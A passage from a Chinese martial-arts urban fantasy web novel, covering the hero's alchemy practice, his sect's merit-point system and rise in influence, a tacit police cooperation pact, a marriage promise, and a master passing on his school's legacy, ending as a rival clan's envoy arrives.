主材用的都是市面上能够买到、或者龙门药膳基地自己种植的普通药材,只是搭配和炼制手法,运用了炼丹术的皮**。
即使如此,过程也极为艰难。
“火候……还差一点。”王大头喃喃自语,精神力高度集中,感知着药液内部各种药材成分融合、反应的状态。
这比操控内力对敌还要耗费心神。
突然,砂锅内原本平稳翻滚的药液猛地一阵剧烈波动,颜色迅速变黑,发出一股焦糊味。
“又失败了。”
王大头叹了口气,有些无奈地关闭了加热设备。
这已经是今天的第三次失败了。
炼丹术对火候、时机、药材比例、甚至环境的要求都极其苛刻,稍有差池,便会前功尽弃。
李雅递上一块湿毛巾,柔声安慰道:“没关系,慢慢来。你已经很厉害了,这才几天,就能将药力凝聚到这种程度。”
她指了指旁边一个小玉盘里放着的几颗颜色暗红、表面粗糙、散发着淡淡药香的丹丸。
这是之前几次相对成功的产物,虽然品质低劣,但确实蕴含了一丝微弱的淬体药力。
王大头拿起一颗“强身丸”,在指尖捻动,感受着其中那微弱却真实存在的能量波动,眼中重新燃起斗志:“失败是成功之母。每次失败,都能让我更清晰地感知到药性冲突和融合的关键点。这东西一旦成功量产,对我们龙门弟子打熬身体、夯实基础,意义重大!”
这不仅仅是多一种产品那么简单。
这意味着龙门开始触及“丹药”这一更高层次的资源领域!
虽然只是最初级的【强身丸】,但其效果,绝非普通药膳可比!
这将是龙门核心竞争力的又一重要拼图!
他休息了片刻,清理了药渣,准备开始下一次尝试。
这
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一次,他调整了几味辅药的比例,并且准备在成丹的关键时刻,尝试将自身一丝纯阳内力融入其中,看看是否能起到“催化”和“提纯”的效果。
就在他全神贯注,准备再次开火时,赵师傅拄着拐杖,缓缓走进了丹房,鼻子微微抽动了一下。
“药香凝而不散,虽驳杂,却已初具‘丹形’……小子,你在炼丹上的天赋,比老夫想象的要好。”赵师傅看着王大头,眼中带着一丝惊讶和赞许。
王大头苦笑:“师傅您就别取笑我了,失败率高的吓人。”
“炼丹本就是逆天而行,窃取草木精华,凝聚成丹,失败是常态。”
赵师傅走到近前,看了看那几颗劣质【强身丸】,点了点头,“能用普通药材做到这一步,已属难得。你这种将现代器具与古法结合的路子,倒是另辟蹊径。”
他沉吟了一下,说道:“你对火候和药性融合的感知,依赖于精神力和内力微操,这很好。但或许,你可以尝试‘观想’。”
“观想?”
王大头一愣。
“不错。”
赵师傅目光深邃,“《星辰观想法》可观想周天星辰,运转宇宙。为何不能观想这炉中之火为太阳之星,观想诸般药材为周天星宿,观想其药性融合、君臣佐使,如同星辰运转,各居其位,各司其职?”
一语点醒梦中人!
王大头眼睛猛地亮了起来!
对啊!
他一直用科学分析的思维去解构炼丹,却忘了自身最大的优势之一——《星辰观想法》!
将丹炉视为宇宙,将炼丹过程视为星辰衍化!
这无疑是一种更高维度、更契合他能力的操控方式!
“多谢师傅指点!”
王大头兴奋不已,仿佛推开了一扇新世界的大门。
他立刻迫不及待地再次开炉,投入药材。
这一次,他闭上了双眼,《星辰观想法》全力运转。
在他的意识海中,小小的砂锅仿佛化为了无边宇宙,底部加热的火焰如同炽热的太阳,投入的药材化为一颗颗色彩各异、属性不同的星辰,在“太阳”的炙烤和某种无形力量的牵引下,沿着玄妙的轨迹运行、碰撞、融合……
一种前所未有的、如臂指使的掌控感涌上心头!
龙门的核心竞争力,随着王大头在炼丹术上的突破性进展,即将再添一枚至关重要的筹码!
而这结合了科学思维与武道观想的独特炼丹法,又会给龙门带来怎样的惊喜?
第80章:传功阁与贡献制度
王大头伤势渐愈,体内玄冥煞气被彻底清除,胸口和肩头的伤口也愈合得七七八八,只留下淡淡的疤痕。
这次重伤不仅未损其根基,反而因祸得福,让他对自身力量的掌控更上一层楼,对那玄冥指力的阴寒特性也有了更深的了解,算是意外收获。
身体恢复后,他立刻将全部精力投入到龙门的内部建设中。
与林家的暂时休战是宝贵的窗口期,必须将龙门的根基打得无比坚实。
这一日,龙门总部中间,一座新挂牌的三层小楼前,气氛庄重而热烈。
红绸覆盖的牌匾被王大头、赵师傅、李雅、张猛、雷烈五人共同揭开,露出三个龙飞凤舞、铁画银钩的大字——传功阁!
这三个字,是王大头亲笔所书,融入了自身一丝武道意志,望去便觉一股锐意进取、自强不息的气息扑面而来,让**在阁楼前的所有龙门弟子心神激荡。
“自今日起,龙门传功阁,正式开放!”
王大头的声音清晰地传入每个人耳中,“此阁,将是我龙门武学传承之基石,强者诞生之摇篮!”
在众人期待的目光中,王大头宣布了与传功阁配套的《龙门贡献制度细则》正式全面推行。
细则明确规定:
弟子分级:外门、内门、核心三级。晋升需综合考核实力、贡献、忠诚度。
贡献点:成为龙门内部唯一流通的“货币”。可通过完成宗门任务(如护卫、探索、收集情报与资源)、为龙门创造价值(如商业盈利、技术创新)、实力晋升、对宗门有特殊贡献等方式获得。
兑换体系:贡献点可在传功阁兑换武学**、兵器铠甲、丹药资源、甚至寻求长老或龙头亲自指导的机会。
随后,王大头亲自展示了传功阁第一层的部分兑换列表(以投影形式公示)。列表清晰明了,分为几个区域:
心法区:
《基础吐纳术》前三层:100贡献点/层(外门弟子可兑换,夯实基础)
《混元桩详解》:50贡献点(赵师傅整理,稳固下盘,调和气血)
武技区:
《八极拳基础架与六大开》:200贡献点(刚猛霸道,外门顶尖,内门可考虑)
《游身步法》:150贡献点(侧重闪避与移动,王大头结合科学原理优化)
《破风刀诀》(基础刀法):100贡献点
《叠浪剑诀》(基础剑法):100贡献点
资源区:
【强身丸】(劣):10贡献点/颗(限量供应,效果微弱,但胜在可持续)
【金疮药】(龙门特制):5贡献点/份
【百炼钢刀】:50贡献点
……
列表一出,下方弟子顿时一片哗然,眼神变得无比炽热!
尤其是那些早期跟随王大头、经历过苦日子的弟子,更是激动得浑身发抖。
他们太清楚这些**资源的价值了!
以前想学更高深的东西,要么靠天赋被看重,要么立下大功被赏赐,路子很窄。
而现在,只要努力为龙门做贡献,就能凭贡献点光明正大地兑换!这是何等公平、何等的机遇!
“这……这《八极拳基础》!我听猛哥施展过,威力无穷啊!”
“《游身步法》好像是龙头自创的,据说精妙无比!”
“【强身丸】!竟然有丹药兑换!虽然只是劣品,但也比普通药膳强多了!”
“贡献点!我要赚贡献点!”
人群沸腾了,每个人的脸上都充满了干劲和对未来的憧憬。
王大头看着下方激动的弟子,微微点头,继续道:“传功阁二层,将存放更精深的内功心法、武学招式以及更好的丹药兵器,需内门弟子身份及相应贡献点方可兑换。三层,则为核心传承与秘技,非核心弟子与对龙门有巨大贡献者不可接触。”
“另外,”
他语气转为严肃,“传功阁内所有武学,未经允许,严禁私下传授、交易,违者废去武功,逐出龙门!望诸位谨记!”
“是!谨遵龙头之令!”
众弟子齐声应诺,声震四
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野。
没有人怀疑这条铁律的严肃性,之前王魁、刘明的下场还历历在目。
制度颁布后,龙门这台庞大的机器开始以前所未有的效率运转起来。
任务堂人满为患,弟子们争先恐后地接取各种任务,从最简单的护送药膳原料、维护总部治安,到有一定危险性的清剿周边不开眼的小混混、探索城市废弃区域寻找可能存在的低阶药材或矿物等等。
贡献点制度极大地激发了所有人的主观能动性。
就连之前有些懒散的弟子,此刻也像打了鸡血一样,拼命修炼,积极任务,就为了能早日攒够贡献点,兑换心仪的**或资源。
张猛和雷烈负责的战斗部,训练热情空前高涨。
因为实力提升不仅能增强保命能力,本身就能获得贡献点奖励,还能接触到更高深的武学。
李雅负责的商业和后勤体系,也因为贡献点的刺激,效率提升。
药膳生意更加红火,弟子们甚至会主动想办法优化流程、开拓新的销售渠道来赚取贡献点。
甚至连赵师傅的监察堂,也借助贡献点制度,更容易地招募到铁面无私、忠于职守的弟子,内部风气为之一清。
王大头自己,除了偶尔去传功阁顶层(暂时空置,为他未来存放更高深武学预留)**思考,进一步完善制度细节外,大部分时间都泡在地下丹房。
结合赵师傅指点的“星辰观想炼丹法”,他炼制【强身丸】的成功率开始稳步提升,虽然依旧会失败,但成丹的品质和数量都在改善。
他甚至在尝试用更好的药材,炼制效果更强的【强体丸】。
一种良性竞争、积极向上的氛围,在龙门内部形成。
每个人都看到了清晰的上升通道和变强的希望。
龙门的发展,如同加满了燃料的火箭,正式步入了快车道。
传功阁与贡献制度的建立,如同为龙门这台机器注入了强大的灵魂与动力,使其发展步入了良性循环的快车道,内部凝聚力与实力与日俱增。
第81章:龙门的“势”
龙门接连击退林家化劲长老林煞(两次!)的消息,如同长了翅膀一般,早已传遍了整个滨海市乃至周边地区的暗世界。
起初,很多人是持怀疑态度的。
林家,那可是盘踞江南已久的百年古武世家,底蕴深厚,化劲宗师都有数位!
龙门?
一个成立不到一年,龙头还是个送外卖出身的小年轻的组织,能挡住林家的怒火?
还击退化劲长老?
开什么国际玩笑!
然而,当一些消息灵通人士,通过各种渠道确认了林煞第二次重伤败退,甚至林家后续并没有立刻展开更疯狂的报复,反而显得有些沉寂之后,整个风向彻底变了!
怀疑变成了震惊,观望变成了敬畏,疏远变成了……趋之若鹜。
于是,龙门总部变得更加门庭若市。
不过,这次前来的人群,成分发生了显著的变化。
之前多是来投靠的个人武者或失意人才,而现在,则多了一辆辆豪车,一位位在滨海市乃至周边地市有头有脸的人物。
有掌控着大型物流公司,手下兄弟无数的运输业大佬;有经营着夜总会、酒吧,消息灵通的娱乐业巨头;有从事建筑、地产,与各方关系错综复杂的实业家;甚至还有一些原本依附于林家或其他势力的中小型帮派话事人。
他们的目的只有一个——拜码头,示好,寻求合作乃至结盟。
“王龙头,久仰大名,如雷贯耳!鄙人刘天河,经营着几家小物流公司,以后龙门有任何货物运输方面的需求,一句话,我刘某人全力配合,费用全免!”
王大头淡然回应:“刘总客气,按规矩办事即可。”
“王龙头,少年英雄,佩服佩服!我是金碧辉煌的老板钱富贵,一点小小意思,不成敬意(递上珍贵古董)。以后龙门兄弟到我的场子消费,一律免单!”
李雅代为接过,礼貌疏离:“钱老板破费了,龙门有龙门的规矩。”
“王老大!我们东城兄弟会,以后唯龙门马首是瞻!但有所命,绝不推辞!”一个原本依附林家的小帮派头目,带着厚礼,姿态放得极低。
张猛出面,粗声粗气:“既然来了,就守龙门的规矩,忠义为本,以前那些欺行霸市、坑蒙拐骗的勾当,都给老子停了!”
面对这些形形样样的来访者,王大头并未倨傲,但也绝不热情,保持着一种恰到好处的距离和威严。
他深知,这些人的臣服是建立在龙门强大的武力威慑之上的,一旦龙门示弱,他们会是第一批反噬的豺狼。
合作可以,但必须建立在龙门的规则之下。
龙门,不需要附庸,需要的是遵守秩序的合作伙伴。
他将大部分接待和谈判工作交给了愈发干练的李雅和心思缜密的赵师傅,自己则稳坐幕后,把控大局。
只有在某些真正重量级、或者背景特殊的人物来访时,他才会亲自出面片刻。
这种神秘感和强大的实力衬托,反而让龙门的威望更甚。
在这个过程中,龙门的影响力开始实质性地渗透到滨海市的方方面面。
物流渠道、信息网络、部分区域的灰色产业秩序……都在潜移默化中,被打上了龙门的印记。
龙门制定的“忠义为本,不行恶事”的底线规矩,也开始在这些领域悄然推行,虽然初期遇到一些阳奉阴违,但在龙门强大的执行力面前,都被迅速碾碎。
一种无形的“秩序”,正在以龙门总部为中心,向整个城市扩散。
这种秩序,带来的不仅是龙门的权威,更有一种奇异的稳定。
以往帮派火拼、欺压良善的事件在龙门控制的区域显著减少,商业环境反而有所改善。
这使得一些原本中立的商人和市民,对龙门的态度也从恐惧排斥,逐渐转变为复杂的好奇甚至隐晦的支持。
傍晚,夕阳西下,将天边云彩染成一片绚烂的金红。
王大头独自站在总部大楼的顶层办公室落地窗前,俯瞰着脚下这座华灯初上、逐渐苏醒的繁华都市。
车辆如织,霓虹闪烁,勾勒出城市的轮廓与脉搏。
他能感觉到,一种无形的“力量”正在从这座城市四面八方汇聚而来,萦绕在龙门总部周围,加持在他的身上。
这不是内力,也不是精神力,而是一种更玄妙的东西——是威望,
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是敬畏,是认可,是无数因果交织而成的……“势”。
龙门之势!
也是他王大头之势!
这股“势”虚无缥缈,却真实存在。
它能让对手未战先怯,能让盟友归心,能潜移默化地改变环境,甚至……他隐约感觉,对自身的修行,对《星辰观想法》的感悟,都有一丝微弱的助益。
他闭上眼睛,仔细体会着这股磅礴的“势”。
它如同潺潺溪流,正不断汇入龙门这条新兴的江河,而他自己,就是这江河的源头与主宰。
“笃笃笃。”敲门声响起。
“进来。”
李雅推门而入,手中拿着一份精美的请柬,脸色有些古怪:“大头,你看这个。”
王大头接过请柬,打开一看,眉头微挑。
请柬来自“滨海市企业家联合会”,邀请龙门集团(龙门对外的合法商业实体)总裁,出席三天后举行的年度慈善晚宴。
落款处,除了联合会主任,还有一个熟悉的名字——陈天豪。
陈天豪,陈少的父亲,滨海市曾经的商业大亨之一。
在陈少惹怒王大头,家族生意受到一系列打击后,已经沉寂了很久。
“他怎么会出面?”王大头问道。
李雅摇摇头:“不清楚。但据我们掌握的信息,陈天豪最近似乎和……省城来的某些人,走得比较近。这次晚宴,恐怕没那么简单。”
王大头摩挲着请柬光滑的表面,眼中闪过一丝深邃的光芒。
省城?
是林家新的试探,还是其他的势力看到了滨海市的变局,想要插手?
他嘴角微微勾起一抹弧度,将请柬随意地放在桌上。
“有意思。回复他们,我会准时出席。”
正好,他也想看看,在这股新生的“势”面前,还有哪些牛鬼蛇神会跳出来。
这场晚宴,或许会是龙门“势”力扩张后的,又一次小小的考验。
章末钩子:王大头站在顶层,俯瞰城市,一股磅礴的“势”在他与龙门身上凝聚。
而来自陈天豪的邀请,如同投入平静湖面的一颗石子,预示着新的波澜即将在看似和谐的场面下涌动。
第82章:张力的正式合作
龙门总部,王大头的办公室。
与往日不同,此刻办公室内的气氛带着一丝微妙的正式感。
王大头坐在主位,神情平静。
赵师傅坐在一旁,闭目养神,仿佛一切与他无关,但微微翕动的耳廓显示他正关注着一切。
李雅则坐在稍远一些的办公桌后,看似在处理文件,实则余光也留意着这边的动静。
坐在王大头对面的,正是张力。
与之前作为卧底时那种刻意融入的粗豪不同,今天的张力换上了一身熨帖的深色夹克,坐姿挺拔,眼神锐利而清明,身上带着一股属于执法者的干练与严肃气息。
他面前放着一杯清茶,热气袅袅。
“王先生,”
张力开口,声音平稳,带着公事公办的意味,“首先,感谢龙门前段时间,在‘清理’黑蛇会残余势力,以及协助我们打击那个跨境**窝点中,提供的‘间接’帮助。”
他刻意强调了“间接”二字,目光直视王大头。
王大头微微一笑,端起自己的茶杯抿了一口,不置可否:“张警官客气了,维护社会稳定,是每个公民应尽的义务。”
他同样刻意用了“张警官”这个称呼,点明了对方的身份转变。
两人之间的对话,从一开始就带着一种心照不宣的试探和底线划分。
张力身体微微前倾,语气加重了几分:“王先生是明白人。龙门近期的快速发展,以及展现出的……‘特殊能力’,已经进入了更高层面的视野。”
他顿了顿,观察着王大头的反应,见对方依旧平静,便继续道:“上面经过综合评估,认为一个稳定、有序,并且愿意在一定规则内行事的龙门,比一个混乱、失控的滨海地下世界,更符合公共利益。”
“所以?”
王大头放下茶杯,手指轻轻敲击着桌面。
“所以,我代表滨海市局,以及更高层级的‘特殊事务协调办公室’(王大头注意到这个新名词),正式向龙门提出建立‘特殊情况通报与有限合作机制’。”
张力从随身携带的公文包里取出一份没有封皮的简易协议,推到大头面前。
协议内容并不复杂,核心几点:
信息通报:龙门在发现或涉及可能危害公共安全、涉及重大刑事犯罪、或出现“非正常能力者”(指古武者、异能者等)大**时,需第一时间向张力(作为指定联络人)通报。
有限协助:在特定情况下(如追捕极度危险的“非正常能力者”**),警方可请求龙门在特定领域(如情报、追踪、有限武力支援)提供协助,龙门有权根据情况评估是否响应及响应程度。
秩序底线:龙门需保证其影响力范围内,不得出现大规模恶性案件、**交易、人口贩卖等触及红线的行为,维持基本的社会面稳定。
官方认可:作为回报,官方将在法律和政策允许的范围内,对龙门的合法商业活动给予便利,并在某些“非正常”层面的**中,保持相对中立(暗示不会偏帮林家),承认龙门在滨海市暗世界秩序维护中的“特殊地位”。
这份协议,没有签字盖章,更像是一份君子协定,但其蕴含的意义却非同小可。
它意味着,官方以一种默许的方式,承认了龙门的存在和其地位,并将龙门纳入了某种程度上的“合作者”范畴,虽然这种合作带着明显的警惕和限制。
“有限合作?”
王大头拿起协议,快速浏览着,嘴角带着一丝玩味,“也就是说,需要我们的时候,我们是‘热心市民’,不需要的时候,我们依然是需要警惕的‘不稳定因素’?”
张力面色不变:“王先生,理解可以更积极一些。这至少是一个开始,一个让龙门从纯粹的‘暗’走向‘灰’,甚至部分‘白’的契机。有了这份默契,龙门很多合法的生意,会少很多不必要的麻烦。而且,”
他意味深长地补充道,“在面对某些不守规矩的‘外来势力’时,我们或许能有更多的共同语言。”
他指的,显然是林家,甚至可能包括其他对滨海市有企图的古武势力。
王大头将协议递给旁边的赵师傅。
赵师傅睁开眼,仔细看了一遍,微微颔首,低声道:“条件尚可,主动
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权在我。可接。”
王大头心中已有决断。
他深知,在国内,任何势力想要长久发展,都不可能完全脱离官方的视线甚至监管。
之前龙门规模小,可以躲在暗处,如今已成气候,再想完全隐匿已不可能。
与其被当成隐患防备,不如主动寻求一种可控的合作关系。
这份协议,虽然限制不少,但也确实给了龙门一个相对宽松的发展环境和一道潜在的护身符。
“可以。”
王大头看向张力,目光坦然,“龙门愿意遵守这份协议的基本精神。忠义为本,维护稳定,本就是我们龙门的宗旨之一。不过,”
他话锋一转,眼神变得锐利,“我希望合作是双向的。在某些龙门遭遇不公,或者被某些‘不守规矩’的势力恶意针对时,我也希望看到官方的‘公正’。”
他在“公正”二字上加重了语气。
张力深深地看着王大头,似乎在评估他的诚意和底线。
片刻后,他点了点头:“只要龙门行事在框架之内,不越线,自然会得到应有的……公正。”
他同样做出了承诺。
两人伸出手,隔着茶几,用力一握。
这一次握手,不同于以往任何一次,代表着一种全新关系的开始。
“合作愉快,张警官。”
“合作愉快,王先生。”
张力收起那份简易协议,站起身,准备离开。
走到门口时,他脚步顿住,没有回头,声音却低沉了几分:“另外,私人提醒一句。省城那边,最近有些暗流,似乎和林家,以及……一些境外资金有关。陈天豪,可能只是个马前卒。三天后的晚宴,小心点。”
说完,他拉开门,大步离去。
办公室内恢复了安静。
李雅走过来,有些担忧地看着王大头:“大头,这样……算好事吗?”
王大头走到窗边,看着外面车水马龙,缓缓道:“是好事。这意味着,我们终于从泥潭里,把一只脚拔了出来,踩在了实地上。虽然还有一只脚陷在里面,但至少,我们有了洗白上岸,真正扎根的机会。”
第83章:李雅的心意与未来
他转过身,眼中闪烁着光芒:“从此以后,龙门,不再仅仅是地下世界的龙门。我们获得了半官方的默许,拥有了更广阔的发展空间!”
与张力代表的官方建立特殊合作机制,标志着龙门获得了半官方的认可,终于开始彻底洗白上岸,迈入了全新的发展阶段!
张力临走前的警告,也为即将到来的晚宴,蒙上了一层阴影。
夜色渐深,龙门总部大楼大部分区域的灯光已经熄灭,只有顶层办公室和旁边属于李雅的商业策划部还亮着灯。
王大头处理完一天的事务,揉了揉有些发胀的太阳穴。
与张力的会面,三天后的晚宴,林家潜在的威胁,炼丹术的瓶颈,传功阁的管理……
无数事情萦绕心头,即便以他如今的精神力,也感到一丝疲惫。
他起身,走向隔壁李雅的办公室。门虚掩着,他轻轻推开。
李雅正伏在宽大的办公桌上,对着一堆报表和数据屏幕,秀眉微蹙,手指在键盘上飞快地敲击着。
柔和的台灯光勾勒出她专注的侧脸,几缕发丝垂落,被她偶尔不耐烦地撩到耳后。
她穿着一身得体的藕粉色职业套裙,褪去了几分少女的青涩,多了几分商界精英的干练与优雅。
看着眼前这一幕,王大头心中那根紧绷的弦,不知不觉松弛了下来。
外界的一切风雨,仿佛在这一刻都被隔绝在外。
他没有出声打扰,只是静静地靠在门框上,目光柔和地看着她。
似乎感应到了他的目光,李雅敲击键盘的手指停了下来,抬起头。
当看到是王大头时,她脸上那份工作中的严肃瞬间冰雪消融,绽放出一个温暖而略带疲惫的笑容。
“忙完了?”
她声音轻柔,带着一丝不易察觉的依赖。
“嗯。”
王大头走过去,很自然地拿起她桌上的杯子,走到饮水机旁为她续了一杯温水,放在她手边。
“你这边呢?还在为那个新区的商业中心计划头疼?”
李雅接过水杯,捧在手心,感受着杯壁传来的温度,叹了口气:“是啊。地块竞标很激烈,陈天豪那个老狐狸不知道从哪里拉来了省城的金主,资金雄厚。我们虽然现在现金流不错,但要和他们硬拼,压力很大。而且,我总觉得他们的目的没那么单纯……”
她说着工作上的难题,语气中却没有抱怨,只有冷静的分析和思考。
王大头站在她身后,双手轻轻放在她的肩膀上,力道适中地揉捏着。
李雅身体先是一僵,随即慢慢放松下来,舒服地闭上了眼睛,发出一声如同小猫般的轻哼。
“别太逼自己。”
王大头低声道,感受着手下肌肤的温热与纤细,“我们已经走了很远,不用事事争先,稳扎稳打就好。钱不够,我想办法。麻烦来了,我挡着。”
他的话语很简单,却带着一种不容置疑的力量和承诺。
李雅睁开眼,仰头看着他近在咫尺的脸庞,看着他眼中那份沉静与担当。
一路走来,从那个小小的咖啡馆,到这个执掌庞大商业帝国的办公室;从那个需要她安慰鼓励的迷茫青年,到这个能为她、为整个龙门撑起一片天的男人……点点滴滴,如同电影般在她脑海中回放。
心中压抑已久的情感,在这一刻如同决堤的洪水,再也无法控制。
她忽然转过身,伸出双臂,紧紧环住了王大头的腰,将脸颊埋在他的腹部。
王大头身体微微一震,感受着怀中娇躯的轻颤和那份毫无保留的依赖,心中最柔软的地方被狠狠触动。
他停下了按摩的动作,一只手轻轻揽住她的肩膀,另一只手抚上她如绸缎般顺滑的长发。
办公室里一片静谧,只有彼此的心跳和呼吸声清晰可闻。
“大头……”
李雅的声音闷闷的,带着一丝哽咽,“我有点害怕。”
“怕什么?”
王大头的声音前所未有的温柔。
“怕失去现在的一切,怕龙门这艘船太大,我帮你掌不好舵,更怕……怕你像上次一样,浑身是血地倒在我面前……”
她的肩膀微微抽动起来,显然上次王大头重伤的情景,给她留下了极深的心理阴影。
王大头心中一阵刺痛与怜惜。
他知道,这个看似坚强的女孩,为他,为龙门,承受了太多。<
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br>他用力抱紧她,仿佛要将她揉进自己的身体里。
“不会的。”
他斩钉截铁地说道,像是在对她承诺,也像是在对自己立誓,“我保证,那样的事情不会再发生。我会变得更强,强到没有人能再伤害我,伤害龙门,伤害你。”
他低下头,下巴轻轻摩挲着她的发顶,嗅着她发间淡淡的清香。
“至于龙门这艘船,不是你帮我掌舵,而是我们一起。没有你,龙门不会有今天。小雅,”
他捧起她的脸,让她泪眼朦胧的眼睛看着自己,“等一切都稳定下来,等我们解决了林家这个心腹大患,等龙门真正屹立不倒的时候……”
他凝视着她美丽的眼睛,一字一句,无比郑重地承诺:
“我给你一个婚礼。”
“一个最风光,最盛大,让所有人都见证的婚礼。”
没有华丽的辞藻,没有浪漫的铺垫,只有最朴素的承诺,却比任何甜言蜜语都更动人心弦。
李雅的泪水瞬间涌出,但那不再是害怕和委屈的泪水,而是幸福和喜悦的泪水。
她用力地点着头,泣不成声,只能紧紧地回抱住他,仿佛要将自己融入他的生命。
这一刻,办公室内充满了温情与爱意,所有的疲惫、压力、潜在的危机,似乎都暂时远去了。
过了许久,两人才缓缓分开。
李雅有些不好意思地擦了擦眼泪,脸颊绯红,眼神却亮得惊人,充满了对未来的憧憬和力量。
“好了,说正事。”
她深吸一口气,重新恢复了那个干练的女强人模样,指着屏幕上的商业计划书,“新区这个项目,我有个新的想法。我们不跟他们硬拼资金,我们可以换个思路,结合我们龙门的‘特色’……”
看着她重新投入工作的专注神情,以及眼角眉梢还未散尽的幸福春意,王大头笑了。
这个女孩,将是他此生最珍贵的财富,也是他征战天下最坚实的后盾。
王大头郑重承诺:“等一切稳定,我给你一个最风光的婚礼。”
这份承诺,不仅坚定了两人的感情,更赋予了彼此携手面对未来一切风雨的无穷勇气与力量。
第84章:赵师傅的夙愿
龙门总部的屋顶天台,经过简单修缮,铺上了防滑的青石板,四周摆放着几盆耐寒的松柏,成了了一处清静的所在。
夜色如水,繁星点点,远离了楼下的喧嚣,唯有夜风拂过衣袂的细微声响。
王大头与赵师傅并肩而立,俯瞰着下方城市璀璨的灯火。
龙门总部如同这灯海中最明亮的那一颗星辰,吸引着八方目光,也承载着无数人的希望。
“不知不觉,龙门已经走到这一步了。”
赵师傅的声音带着一丝感慨,打破了沉默。
他依旧穿着那身洗得发白的灰色布衣,身形有些佝偻,但站在那里,却仿佛与脚下的建筑、与这片天地融为一体,自有一股渊渟岳峙的气度。
王大头恭敬地站在一旁,闻言点头:“多亏了师傅您一路扶持指点,否则,单凭我一人,恐怕早已折戟沉沙。”
这话发自肺腑。
从最初的桩功呼吸法,到后来的武学指点,再到关键时刻的坐镇与谋划,赵师傅如同定海神针,是他和龙门能稳步前行的重要保障。
赵师傅摆了摆手,浑浊却深邃的目光望向遥远的星空,仿佛在追忆着什么:“我年轻的时候,也像你一样,满腔热血,以为凭借一身武艺,就能荡尽天下不平事。师门虽小,却也传承有序,有教无类,想着能将武道发扬光大……”
他的声音渐渐低沉下去,带着一丝难以言喻的落寞与遗憾。
“可惜,树欲静而风不止。江湖恩怨,门派倾轧,最终……师门凋零,我也心灰意冷,只能隐于这市井之中,以为一身所学,将随我埋入黄土。”
王大头沉默地听着,他能感受到老人话语中那份沉甸甸的过往。
他从未主动探询过赵师傅的过去,只知道他身怀绝艺,却甘于平凡,其中定有伤心事。
“直到遇到了你。”
赵师傅转过头,目光落在王大头身上,那眼神中重新燃起了光芒,带着欣慰,带着期望,“你出身草根,却心性坚韧,悟性惊人,更难得的是,身怀大气运而不自知,却又能在力量中保持本心,懂得用脑子,而非一味蛮干。龙门在你手中,走的是一条与所有传统势力都不同的路。”
他顿了顿,语气变得无比郑重:“看到龙门如今气象已成,规矩立下,传承有序,我心中最后一块石头,也算是放下了。有些东西,是时候交给你了。”
说着,赵师傅从怀中取出一个用油布包裹得严严实实的长条形物事。
那油布看上去有些年头,边缘已经磨损发毛,但却保存得极其完好。
他小心翼翼地揭开一层层油布,最终,露出里面的一本薄薄的、线装的古籍,以及一块巴掌大小、颜色暗沉、非金非木、刻画着云纹的令牌。
古籍的封页是某种兽皮鞣制而成,已经泛黄发脆,上面用古篆写着四个苍劲大字——《流云叠浪掌》。
而那块令牌,入手温润,正面刻着一个“流”字,背面则是一座隐于云雾之中的山峦图案,雕刻手法古拙,透着岁月的沧桑感。
“这是我师门——流云宗,真正的核心传承。”
赵师傅将古籍和令牌郑而重之地放到王大头手中,他的手指因为激动而微微颤抖。
“《流云叠浪掌》,并非追求刚猛无俦,而是讲究内力如云般缥缈难测,掌力似浪般层层叠进,一浪高过一浪,直至摧垮一切防御。练到高深境界,掌力可刚可柔,变幻莫测,暗合天道循环之理。”
他指着那本古籍:“这里面,不仅有掌法精要、运劲法门,最后几页,还记载了我流云宗的内功心法《流云诀》的前三重。虽不完整,但足以让你触类旁通,对你感悟先天之境,或有裨益。”
然后又指向那块令牌:“这是流云令,是宗主信物,也是开启我流云宗真正秘藏的唯一钥匙。只可惜,宗门故地早已在当年的劫难中毁去,秘藏所在,也成了一个谜。或许,将来你有机会,能解开这个谜题,让我流云宗的道统,不至于彻底湮灭。”
王大头感受着手中古籍的厚重与令牌的温润,心情也随之沉重起来。
这不仅仅是两件物品,这是一份沉甸甸的责任,
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是一个逝去宗门最后的希望之火。
“师傅,这太珍贵了!我……”
他下意识地想推辞。
“拿着!”
赵师傅语气斩钉截铁,不容置疑,他紧紧握住王大头的手,那双苍老的手此刻却充满了力量,目光灼灼地盯着他,“大头,你听好!我赵山河,流云宗最后一代传人,今日,正式将流云宗核心传承,授予弟子王大头!”
他的声音不大,却如同洪钟大吕,在这寂静的夜空下回荡,带着一种庄严的仪式感。
“我不要求你重开山门,光大流云宗。时代不同了,龙门的路,更适合你,也更适合这个时代。我只希望,你能将这份传承延续下去,莫要让它失了光彩。将来若有机会,找到宗门秘藏,取其有用之物,让流云宗的武学智慧,能在你的手中,以另一种方式发扬光大,我便心满意足了!”
他看着王大头,眼神中充满了无限的期待与托付,一字一句道:
“我把希望,都放在你身上了。”
王大头看着师傅那郑重无比的神情,感受着他话语中那份毫无保留的信任与沉重的寄托,心中涌起一股热流。
他不再犹豫,紧紧握住手中的传承之物,后退一步,整理衣冠,对着赵师傅,深深一躬到底!
“弟子王大头,谨遵师命!必不负师傅所托,定让流云传承,在我手中重现光辉!”
这一刻,师徒二人在星空下完成了精神的交接。
一份古老的传承,跨越了时空,融入了龙门这艘新兴的巨轮,必将焕发出新的生命力。
赵师傅将师门核心传承与最后的希望托付给王大头,了却夙愿。
这份承载着历史与责任的传承,将为王大头和龙门带来怎样的变化?
接收了流云宗传承,王大头肩头的感觉又沉重了几分,但内心的目标却也更加清晰坚定。
他并未急于修炼《流云叠浪掌》,而是将其与令牌小心收好,准备在完全理解其精义,并且自身状态调整到最佳时再行参悟。
龙门的一切都在按部就班地运转着。
第85章:林家的新动向——妥协?
传功阁激励着弟子,贡献点制度焕发着活力,与官方的合作带来了更宽松的环境,李雅掌舵的商业版图也在稳步扩张。
然而,树欲静而风不止。
就在王大头以为林家会沉寂更久,或者正在酝酿更猛烈风暴的时候,一个出乎所有人意料的消息传来。
林家,再次派来了使者。
而且,这次来的,并非林煞那般杀气腾腾的长老,也非之前那位盛气凌人的管事,而是一位穿着得体西装,戴着金丝眼镜,气质儒雅的中年男子——
正是林家的智囊,长老林文渊。
会面地点依旧在王大头的办公室。
只是这一次,气氛与之前剑拔**张截然不同。
林文渊脸上带着恰到好处的微笑,既不显得卑微,也没有丝毫倨傲,仿佛只是来洽谈一场普通的商业合作。
他独自一人前来,连个随从都没带。
“王龙头,久仰了。”
林文渊主动开口,声音温和,“在下林家林文渊,今日冒昧来访,是代表林家,与王龙头商讨一下,关于我们两家未来相处之道。”
王大头坐在主位,神色平静,心中却念头飞转。
林家这是唱的哪一出?
先兵后礼?
还是笑里藏刀?
“林长老有话不妨直说。”
王大头没有绕圈子。
